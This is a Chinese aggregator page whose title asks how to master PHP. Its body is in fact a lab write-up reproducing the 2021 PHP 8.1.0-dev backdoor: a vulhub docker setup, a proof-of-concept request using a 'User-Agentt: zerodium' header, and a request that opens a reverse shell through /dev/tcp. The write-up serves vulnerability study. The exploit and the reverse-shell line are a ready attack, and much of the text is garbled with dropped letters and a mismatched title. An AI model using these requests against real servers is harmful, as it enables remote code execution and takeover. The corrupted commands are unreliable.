当前位置：首页 > 每日看点

怎样深入学习php，成为php高手？

卡卷网2年前 (2025-01-01)每日看点258

简介

PHPverion8.1.0-dev于2021年3月28与后门一起发布，但是后门很快被发现并删除。

#漏洞概述

PHPverion8.1.0-dev的PHP在上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。

#影响版本

PHP8.1.0-dev

#环境搭建

新建docker-compose.yml

version:'2' servs: we: image:vulhu/php:8.1-ackdoor volumes: -./index.php:/var/www/html/index.php ports: -"8080:80"

启动环境

docker-composeup-d

#漏洞复现

#poc验证

在header头增加user-agentt字段，值为：zerodiumvar_dump(2*3);

GET//1.1 Host:192.168.81.223:8800 Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 user-agentt:zerodiumvar_dump(2*3); Connection:close

如果执行了这个表达式，说明存在漏洞

#执行命令反弹shell

GET//1.1 Host:192.168.81.223:8800 Praa:no-cache Cache-Control:no-cache Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate User-Agentt:zerodium("ash-c'execash-i>&/dev/tcp/ip/66660>&1'"); Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 Connection:close

#事件分析与反思

代码中含有”zerodium”字符串，而zerodium是一个专门漏洞的.在此事件中，怀疑黑客攻陷了://git.php.net，以PHP作者的名义做了两次代码提交。

#参考文章

s://log.dn.net/zy15667076526/article/details/116447864

扫描二维码推送至手机访问。

版权声明：本文由卡卷网发布，如需转载请注明出处。

本文链接：https://www.kajuan.net/ttnews/2025/01/6068.html

分享给朋友：

相关文章

左手短视频，右手啄木鸟，小红书要抛弃KOC了吗？

左手短视频，右手啄木鸟，小红书要抛弃KOC了吗？

左手短视频，右手啄木鸟，小红书要抛弃KOC了吗？上周六，微博上掀起了声势浩大的声讨小红书的活动，起因是众多博主发现自己的合规笔记被小红书判定违规，且申诉失败。博主们激烈的言辞之间，纷纷将矛头指向了小红书于一个月前推出的「啄木鸟计划」。当晚，…

你捡过最大的漏是什么？

你捡过最大的漏是什么？

买了套二手房，软磨硬泡便宜了1个w 结果就是一屋子狼藉 原业主说反正你们要重新装修 就不收拾了 等完了你们一起收拾掉吧 落了很多柜子 电器是啥的 今天打开卧室柜子一看… 现在是去存钱的路上 有朋友知道这样存钱银行会给发大米跟油吗…

为什么说不懂电脑的不要碰AMD？

作为一个资深垃圾佬，说缺点前，先说优点吧AMD CPU（后续简称AU）的优点：处理器对比Intel，三级缓存更大，最明显的感知就是，网游帧数更高（5900X,7900X之类高端型号都是双CCX共享大缓存，反而不如次一点的CPU帧数更高）；相…

如何进行 Elasticsearch 调优实践？

如何进行 Elasticsearch 调优实践？

面试官心理分析这个问题是肯定要问的，说白了，就是看你有没有实际干过 es，因为啥？其实 es 性能并没有你想象中那么好的。很多时候数据量大了，特别是有几亿条数据的时候，可能你会懵逼的发现，跑个搜索怎么一下 5~10s ，坑爹了。第一次搜索的…

天涯神帖，第一神帖是什么？

天涯神帖，第一神帖是什么？

一些个人觉得比较经典的天涯神贴（更新进去了）： 话说1999年那会儿，中国的互联网还是个小婴儿，BAT三巨头都还在穿开裆裤呢，天涯社区就已经悄然诞生了。 时光飞逝，到了2007年，这小小社区竟然已经吸引了超过20…

有没有能够兼顾便携并且流畅运行各种AI应用的笔记本？求推荐?

有没有能够兼顾便携并且流畅运行各种AI应用的笔记本？求推荐?

看了下题主的描述，可以考虑「联想YOGA Air 15 Aura AI元启版」，今年9月底出的一款轻薄本，也通过了英特尔Evo严苛认证。 处理器用了英特尔最新的「酷睿 Ultra 7 258V」，主要亮点就是AI性能、图形处理能力和能效，很…

发表评论

访客

看不清，换一张

◎欢迎参与讨论，请在这里发表您的看法和观点。

Copyright © 2019-2024 www.kajuan.net 版权所有

Powered By Z-BlogPHP. Theme by TOYEAN.